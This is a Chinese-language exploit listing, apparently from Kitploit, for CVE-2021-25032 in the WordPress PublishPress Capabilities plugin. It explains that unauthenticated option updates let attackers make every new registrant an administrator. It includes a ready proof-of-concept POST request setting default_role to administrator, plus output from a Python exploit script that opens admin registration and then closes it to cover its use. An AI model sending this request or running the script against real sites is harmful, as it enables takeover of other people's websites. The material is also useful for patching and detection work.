CVE-2021-25032 — PublishPress Capabilities < 2.3.1 - 未认证的任意选项更新导致博客沦陷 | Kitploit

CVE-2021-25032

PublishPress Capabilities 2.2 - 2.3 - 未认证的任意选项更新导致博客被入侵

描述

该插件在通过 init 钩子更新插件设置时，未进行授权和 CSRF 检查，也未确保要更新的选项属于该插件。因此，未认证的攻击者可以更新任意博客选项，例如默认角色，从而使任何新注册的用户都能获得管理员角色。

概念验证

POST /wp-admin/admin.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 81
Connection: close

page=pp-capabilities-settings&all_options=default_role&default_role=administrator

脚本使用示例

启用注册与管理员角色

$ python3 CVE-2021-25032.py -u http://wordpress.lan
The plugin version is below 2.3.1.
The plugin version is 2.2
Vulnerability check: http://wordpress.lan
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.

禁用注册与订阅者角色

$ python3 CVE-2021-25032.py -u http://wordpress.lan --fix yes
Vulnerability check: http://wordpress.lan
Options set successfully: http://wordpress.lan/wp-admin/admin.php
Fixed: You can not longer register